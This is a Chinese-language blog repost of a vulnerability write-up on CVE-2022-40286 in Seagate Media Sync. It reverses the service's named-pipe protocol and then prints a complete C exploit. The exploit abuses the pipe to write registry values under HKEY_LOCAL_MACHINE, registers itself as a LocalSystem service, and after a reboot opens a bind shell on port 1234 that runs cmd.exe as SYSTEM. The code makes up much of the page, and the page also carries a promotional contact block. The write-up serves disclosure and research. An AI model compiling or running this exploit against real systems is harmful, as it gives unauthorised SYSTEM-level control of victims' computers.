主頁 >  其他 > 利用Seagate service獲得system shell

利用Seagate service獲得system shell

2022-12-03 07:06:01 其他

這是挖掘 CVE-2022-40286 漏洞的記錄,

閑來無事,我上網隨便找了一個驅動來進行測驗,我想找一個知名公司的產品,但是又不能是太偏太難懂的東西,

我最先發現了一個叫"Seagate Media Sync"的軟體,這是一個將檔案復制到希捷無線硬碟上的工具,之后我安裝并運行了該軟體,然后我發現它創建了一個名為"MediaAggreService.exe"的后臺SYSTEM服務,

然后發現這個工具還有一個UI安裝程式,

我們一般常見的查找權限提升的方式是對低權限的行程(UI)和高權限服務(或驅動)之間的內部通信進行攻擊開始的,要想使用這個方法,首先第一步我們要能夠監控的來自UI的合法通信,然而,由于我沒有與之配套的希捷硬碟,我們只能使用這個程式中非常少的功能,

通過查看行程資源管理器發現,該服務還包含了一個處理MEDIA_AGGRE_PIPE.PIP管道訊息的句柄,猜測這個管道可能是用于用戶界面(stxmediamanager.exe)和服務(MediaAggreService.exe)之間的通信,

通過觀察用戶界面,似乎我們可以點擊的唯一按鈕就是 "重繪"按鈕,希望這能夠讓我們監控到一些服務通信,我們將除錯器連接到用戶界面行程,并在CreateFile和WriteFile函式上設定斷點,

如上所示,當我們點擊 "重繪 "按鈕時,UI行程使用CreateFile函式進行了一個命名管道連接,我們可以檢查之后呼叫的WriteFile函式來記錄訊息資料的內容,以下是寫資料操作,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

根據以上內容,我們可以猜測,第一個訊息是一個4位元組長度的欄位,表示訊息體的大小,第二條資訊則是真實的命令資料,在這個事件中,它正在發送一條訊息體長度為8個位元組的命令,最初的4位元組長度值與第二個WriteFile呼叫的nNumberOfBytesToWrite引數一致,這正符合我們的預期,我們現在可以檢查該資訊傳遞程序中的接收端,在MediaAggreService.exe中的ConnectNamedPipe函式上設定一個斷點,該斷點應該會在UI客戶端呼叫CreateFile函式時觸發,

然后我們現在可以在ReadFile函式上設定一個斷點,這樣就可以看到從客戶端發送的資料,

現在我們已經找到了該服務中讀取資料的代碼,然后我們可以跟蹤代碼的執行流程,由于目前我們只能訪問用戶界面中的 "重繪 "命令,因此我們很有必要再進行一些靜態分析,看看還有哪些命令可用,

在花了一些時間分析代碼后,我可以看到每個命令都是以一個16位的簽名(0x4B5C)開始的,之后是一個16位的 主命令ID,然后是一個32位的次命令ID,

001145BB | BA 5C4B0000             | mov edx,4B5C                                     | set expected command header signature: 0x4B5C
001145C0 | 0FB708                  | movzx ecx,word ptr ds:[eax]                      | get actual command header signature value
001145C3 | 66:3BCA                 | cmp cx,dx                                        | check 16-bit signature value
001145C6 | 74 1A                   | je mediaaggreservice.1145E2                      | jump if signature matches
001145C8 | 51                      | push ecx                                         |
001145C9 | 68 D8391200             | push mediaaggreservice.1239D8                    | "[PIPE] Failure: Bad Signature 0x%X"
001145CE | 68 F0841400             | push mediaaggreservice.1484F0                    |
001145D3 | E8 D866FFFF             | call mediaaggreservice.10ACB0                    | add_log_entry
001145D8 | 83C4 0C                 | add esp,C                                        |
001145DB | 33C0                    | xor eax,eax                                      |
001145DD | 5E                      | pop esi                                          |
001145DE | 8BE5                    | mov esp,ebp                                      |
001145E0 | 5D                      | pop ebp                                          |
001145E1 | C3                      | ret                                              | error, return
001145E2 | 57                      | push edi                                         |
001145E3 | FF70 04                 | push dword ptr ds:[eax+4]                        | log minor command ID (32-bit)
001145E6 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                    | log major command ID (16-bit)
001145EA | 50                      | push eax                                         |
001145EB | 68 203A1200             | push mediaaggreservice.123A20                    | "[PIPE] Command major/minor: [0x%X:0x%X]"
001145F0 | 68 F0841400             | push mediaaggreservice.1484F0                    |
001145F5 | E8 7667FFFF             | call mediaaggreservice.10AD70                    | add_log_entry
001145FA | 8B86 D0F00100           | mov eax,dword ptr ds:[esi+1F0D0]                 |
00114600 | C745 F8 00000000        | mov dword ptr ss:[ebp-8],0                       |
00114607 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                    | get major command value (message_base + 0x2)
0011460B | 83C4 10                 | add esp,10                                       |
0011460E | 83F8 10                 | cmp eax,10                                       | check if the major command value is 0x10
00114611 | 74 60                   | je mediaaggreservice.114673                      | jump to 0x10 command switch
00114613 | 83F8 20                 | cmp eax,20                                       | check if the major command value is 0x20
00114616 | 74 1A                   | je mediaaggreservice.114632                      | jump to 0x20 command switch
00114618 | 68 C83A1200             | push mediaaggreservice.123AC8                    | "[PIPE] Failure: Unknown Major Command"
0011461D | 68 F0841400             | push mediaaggreservice.1484F0                    |
00114622 | E8 8966FFFF             | call mediaaggreservice.10ACB0                    | add_log_entry

通過代碼我們也可以看到,該服務似乎只支持兩個主命令ID -- 0x10和0x20,發現這些線索后,我們現在可以解碼我們先前記錄的原始的 "重繪 "命令了,

Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x1)
?
(no message body)

在觀察分析了兩個主命令組的代碼后,我注意到0x10命令組包含了一個呼叫內部函式 MXOSRVSetRegKey 的條目,這個條目的次命令ID為0x400,

001136E4 | 68 08300000             | push 3008                                                | total message length
001136E9 | 8D47 08                 | lea eax,dword ptr ds:[edi+8]                             |
001136EC | 50                      | push eax                                                 |
001136ED | 8DB3 C0A90100           | lea esi,dword ptr ds:[ebx+1A9C0]                         |
001136F3 | 56                      | push esi                                                 |
001136F4 | E8 5F560000             | call <JMP.&memcpy>                                       | copy command message body
001136F9 | FFB3 C0D90100           | push dword ptr ds:[ebx+1D9C0]                            |
001136FF | 8D83 C0C90100           | lea eax,dword ptr ds:[ebx+1C9C0]                         |
00113705 | 50                      | push eax                                                 |
00113706 | 8D83 C0B90100           | lea eax,dword ptr ds:[ebx+1B9C0]                         |
0011370C | 50                      | push eax                                                 |
0011370D | 56                      | push esi                                                 |
0011370E | FF15 68D31100           | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>]    | execute command

顧名思義,MXOSRVSetRegKey 函式的作用似乎就是設定一個注冊表值,如果該鍵不存在,那么就創建該鍵,

70F25590 | 55                      | push ebp                                                 |
70F25591 | 8BEC                    | mov ebp,esp                                              |
70F25593 | 83EC 08                 | sub esp,8                                                |
70F25596 | 8D45 F8                 | lea eax,dword ptr ss:[ebp-8]                             |
70F25599 | 50                      | push eax                                                 |
70F2559A | 8D45 FC                 | lea eax,dword ptr ss:[ebp-4]                             |
70F2559D | 50                      | push eax                                                 |
70F2559E | 6A 00                   | push 0                                                   |
70F255A0 | 68 3F000F00             | push F003F                                               |
70F255A5 | 6A 00                   | push 0                                                   |
70F255A7 | 68 6823F370             | push stxmediadevif.70F32368                              |
70F255AC | 6A 00                   | push 0                                                   |
70F255AE | FF75 08                 | push dword ptr ss:[ebp+8]                                |
70F255B1 | C745 FC 00000000        | mov dword ptr ss:[ebp-4],0                               |
70F255B8 | 68 02000080             | push 80000002                                            |
70F255BD | FF15 1020F370           | call dword ptr ds:[<&RegCreateKeyExW>]                   |
70F255C3 | 85C0                    | test eax,eax                                             |
70F255C5 | 75 1E                   | jne stxmediadevif.70F255E5                               |
70F255C7 | FF75 14                 | push dword ptr ss:[ebp+14]                               |
70F255CA | FF75 10                 | push dword ptr ss:[ebp+10]                               |
70F255CD | 6A 01                   | push 1                                                   |
70F255CF | 50                      | push eax                                                 |
70F255D0 | FF75 0C                 | push dword ptr ss:[ebp+C]                                |
70F255D3 | FF75 FC                 | push dword ptr ss:[ebp-4]                                |
70F255D6 | FF15 0420F370           | call dword ptr ds:[<&RegSetValueExW>]                    |
70F255DC | FF75 FC                 | push dword ptr ss:[ebp-4]                                |
70F255DF | FF15 0020F370           | call dword ptr ds:[<&RegCloseKey>]                       |
70F255E5 | 33C0                    | xor eax,eax                                              |
70F255E7 | 8BE5                    | mov esp,ebp                                              |
70F255E9 | 5D                      | pop ebp                                                  |
70F255EA | C3                      | ret                                                      |

通過對這段代碼的分析表明,該命令很有可能會允許我們通過客戶端行程遠程創建或者修改注冊表字串值,注冊表的根鍵被硬編碼為HKEY_LOCAL_MACHINE(在RegCreateKeyExW呼叫中推0x80000002),在對這些函式進行逆向分析后,我們發現這個命令接收的訊息資料格式如下所示,

Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x400)
?
Message Length: 0x3008
0x0000 -> Registry Key Path (wide-char)
0x1000 -> Value Name (wide-char)
0x2000 -> Value (wide-char)
0x3000 -> Value Length (DWORD)
0x3004 -> (Unused)

由于型別欄位被硬編碼為REG_SZ(在RegSetValueExW呼叫中push 1),所以上面的命令只支持字串值 ,

我還發現了另一個命令ID(0x410),它允許我們以同樣的方式設定REG_DWORD值,這個命令接收的訊息資料格式如下,

Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x410)
?
Message Length: 0x3008
0x0000 -> Registry Key Path (wide-char)
0x1000 -> Value Name (wide-char)
0x2000 -> (Unused)
0x3000 -> (Unused)
0x3004 -> Value (DWORD)

從上面的命令資料布局可以看出,我們可以推斷出這兩個命令應該有一個相同的資料結構,我們可以用C結構來表示,如下,

// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
    WORD wSignature;
    WORD wMajorCommandID;
    DWORD dwMinorCommandID;
};
?
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
    wchar_t wszKeyPath[2048];
    wchar_t wszValueName[2048];
    wchar_t wszValueString[2048];
    DWORD dwValueStringLength;
    DWORD dwDwordValue;
};

假設我們的上述猜想都是正確的,這也就意味著,任何用戶都能夠通過向seagate服務管道發送命令,向HKEY_LOCAL_MACHINE內的任何鍵寫入任意的注冊表值,如果這可以實作,這也就意味著我們對于權限的提升就有了一個很明確的利用途徑,

所以根據我們分析得到的結果,撰寫一個自定義的管道客戶端來測驗我們的猜想,

DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength)
{
    HANDLE hPipe = NULL;
    DWORD dwBytesWritten = 0;
    DWORD dwDataLength = 0;
    SeagateCommandHeaderStruct SeagateCommandHeader;
    BYTE *pDataBlock = NULL;
?
    // open seagate media sync pipe
    hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if(hPipe == INVALID_HANDLE_VALUE)
    {
        return 1;
    }
?
    // initialise command header
    memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
    SeagateCommandHeader.wSignature = 0x4B5C;
    SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
    SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
?
    // calculate total data length
    dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
?
    // write data length to pipe
    if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0)
    {
        CloseHandle(hPipe);
        return 1;
    }
?
    // allocate buffer to combine the command header and data
    pDataBlock = (BYTE*)malloc(dwDataLength);
    if(pDataBlock == NULL)
    {
        return 1;
    }
?
    // copy the header and data into the data buffer
    memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader));
    memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength);
?
    // write the message to the pipe
    if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0)
    {
        free(pDataBlock);
        CloseHandle(hPipe);
        return 1;
    }
?
    // free buffer
    free(pDataBlock);
?
    // close pipe
    CloseHandle(hPipe);
?
    return 0;
}
?
DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
{
    SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
?
    // initialise seagate registry command data (string)
    memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
    mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
    mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
    mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
    SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
?
    // send command
    if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
    {
        return 1;
    }
?
    return 0;
}
?
SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value");

上面的代碼是連接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test內創建一個注冊表值,然后我們將會以普通用戶的身份來執行這個程式,

經過測驗可以發現,這段代碼可以正常執行,并成功創建了目標注冊表值,對注冊表HKEY_LOCAL_MACHINE的操作也為攻擊提供了更多的可能性,在這種情況下,我們可以通過向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注冊表鍵添加條目來創建一個自定義服務,

通常我們不會部署一個單獨的exe來作為SYSTEM服務的有效載荷,而是將這一功能放到可執行檔案中,這個執行程式將會首先檢查它是否是以SYSTEM用戶的身份運行,如果不是,它將會執行默認的行為,并通過希捷服務管道創建一個新的服務,如上所述,否則,如果exe檢測到它是以SYSTEM服務的身份運行,它將會部署主要的有效載荷,這將會創建一個shell,

總而言之,這個POC工具將執行以下步驟,

  1. 使用CreateFile通過命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP連接到希捷服務,

  2. 使用GetModuleFileName獲取當前exe的檔案路徑,

  3. 通過向希捷服務的命名管道發送注冊表命令,創建一個新的Windows服務,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一個新條目,使用當前的exe作為行程路徑,

  4. 重新啟動計算機,

  5. Windows將在啟動時自動啟動我們新創建的服務,可執行程式將檢測到它是以SYSTEM身份運行的,并監聽1234埠的TCP連接,

  6. 當用戶連接到localhost:1234時,漏洞服務將會以SYSTEM的身份啟動一個新的cmd.exe行程,stdin/stdout會被重定向到客戶端套接字,

執行后

重啟計算機

鏈接到 localhost:1234

最終,這個漏洞編號為 CVE-2022-40286,

以下是完整的利用代碼,

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
?
#pragma comment(lib, "ws2_32.lib")
?
// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
    WORD wSignature;
    WORD wMajorCommandID;
    DWORD dwMinorCommandID;
};
?
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
    wchar_t wszKeyPath[2048];
    wchar_t wszValueName[2048];
    wchar_t wszValueString[2048];
    DWORD dwValueStringLength;
    DWORD dwDwordValue;
};
?
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength)
{
    HANDLE hPipe = NULL;
    DWORD dwBytesWritten = 0;
    DWORD dwDataLength = 0;
    SeagateCommandHeaderStruct SeagateCommandHeader;
    BYTE *pDataBlock = NULL;
?
    // open seagate media sync pipe
    hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if(hPipe == INVALID_HANDLE_VALUE)
    {
        return 1;
    }
?
    // initialise command header
    memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
    SeagateCommandHeader.wSignature = 0x4B5C;
    SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
    SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
?
    // calculate total data length
    dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
?
    // write data length to pipe
    if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0)
    {
        CloseHandle(hPipe);
        return 1;
    }
?
    // allocate buffer to combine the command header and data
    pDataBlock = (BYTE*)malloc(dwDataLength);
    if(pDataBlock == NULL)
    {
        return 1;
    }
?
    // copy the header and data into the data buffer
    memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader));
    memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength);
?
    // write the message to the pipe
    if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0)
    {
        free(pDataBlock);
        CloseHandle(hPipe);
        return 1;
    }
?
    // free buffer
    free(pDataBlock);
?
    // close pipe
    CloseHandle(hPipe);
?
    return 0;
}
?
DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
{
    SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
?
    // initialise seagate registry command data (string)
    memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
    mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
    mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
    mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
    SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
?
    // send command
    if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
    {
        return 1;
    }
?
    return 0;
}
?
DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue)
{
    SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
?
    // initialise seagate registry command data (dword)
    memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
    mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwDwordValue = dwValue;
?
// send command
if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
    {
return 1;
    }
?
return 0;
}
?
DWORD StartBindShell(WORD wPort)
{
sockaddr_in SockAddr;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
SOCKET ListenSocket = 0;
SOCKET AcceptSocket = 0;
?
// create listen socket
ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
if(ListenSocket == INVALID_SOCKET)
    {
return 1;
    }
?
// set socket addr info
memset((void*)&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(wPort);
SockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
?
// bind socket
if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
    {
closesocket(ListenSocket);
return 1;
    }
?
// listen
if(listen(ListenSocket, 1) == SOCKET_ERROR)
    {
closesocket(ListenSocket);
return 1;
    }
?
// wait for clients
for(;;)
    {
// wait for connection
AcceptSocket = accept(ListenSocket, NULL, NULL);
if(AcceptSocket == INVALID_SOCKET)
    {
closesocket(ListenSocket);
return 1;
    }
?
// set StartupInfo fields - redirect input/output to socket
memset((void*)&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.hStdInput = (HANDLE)AcceptSocket;
StartupInfo.hStdOutput = (HANDLE)AcceptSocket;
StartupInfo.hStdError = (HANDLE)AcceptSocket;
?
// create cmd.exe process with inherited handles
memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo));
if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0)
    {
closesocket(AcceptSocket);
closesocket(ListenSocket);
return 1;
    }
?
// client socket has been passed to cmd.exe - close socket in local process
closesocket(AcceptSocket);
    }
?
// close listen socket
closesocket(ListenSocket);
?
return 0;
}
?
DWORD ConfirmSystemUser()
{
HANDLE hToken = NULL;
BYTE bTokenUser[1024];
DWORD dwLength = 0;
SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority;
TOKEN_USER *pTokenUser = NULL;
void *pSystemSid = NULL;
?
// open process token
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0)
    {
return 1;
    }
?
// get user SID
pTokenUser = (TOKEN_USER*)bTokenUser;
if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0)
    {
CloseHandle(hToken);
return 1;
    }
?
// close token handle
CloseHandle(hToken);
?
// SECURITY_NT_AUTHORITY
SidIdentifierAuthority.Value[0] = 0;
SidIdentifierAuthority.Value[1] = 0;
SidIdentifierAuthority.Value[2] = 0;
SidIdentifierAuthority.Value[3] = 0;
SidIdentifierAuthority.Value[4] = 0;
SidIdentifierAuthority.Value[5] = 5;
?
// get SYSTEM user SID
if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0)
    {
return 1;
    }
?
// check if this is the SYSTEM user
if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0)
    {
FreeSid(pSystemSid);
return 1;
    }
?
// clean up
FreeSid(pSystemSid);
?
return 0;
}
?
DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath)
{
char szServiceKey[512];
char szImagePath[512];
char szWindowsDir[512];
?
// get windows directory
memset(szWindowsDir, 0, sizeof(szWindowsDir));
GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1);
?
// set service key
memset(szServiceKey, 0, sizeof(szServiceKey));
_snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName);
?
// set image path
// (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests)
memset(szImagePath, 0, sizeof(szImagePath));
_snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath);
?
// set registry value
if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0)
    {
return 1;
    }
?
// set registry value
if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0)
    {
return 1;
    }
?
// set registry value
if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0)
    {
return 1;
    }
?
// set registry value
if(SetRegDword(szServiceKey, "Start", 2) != 0)
    {
return 1;
    }
?
// set registry value
if(SetRegDword(szServiceKey, "Type", 16) != 0)
    {
return 1;
    }
?
return 0;
}
?
int main()
{
WSADATA WinsockData;
char szPath[512];
?
// check if this process is running as SYSTEM user
if(ConfirmSystemUser() == 0)
    {
// initialise winsock
if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0)
    {
return 1;
    }
?
// ready - start tcp bind shell on port 1234
if(StartBindShell(1234) != 0)
    {
return 1;
    }
    }
else
    {
printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n");
printf("x86matthew (www.x86matthew.com)\n\n");
?
printf("Retrieving current exe path...\n");
?
// get current exe path
memset(szPath, 0, sizeof(szPath));
if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
    {
printf("Error: Failed to get current exe path\n");
?
return 1;
    }
?
printf("Creating service...\n");
?
// create service
if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0)
    {
printf("Error: Failed to add service via Seagate Media Sync service\n");
?
return 1;
    }
?
printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n");
    }
?
return 0;
}

更多靶場實驗練習、網安學習資料,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539031.html

標籤:其他

上一篇:機器學習 拜占庭容錯方法: Bulyan

下一篇:結合RocketMQ 原始碼,帶你了解并發編程的三大神器

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

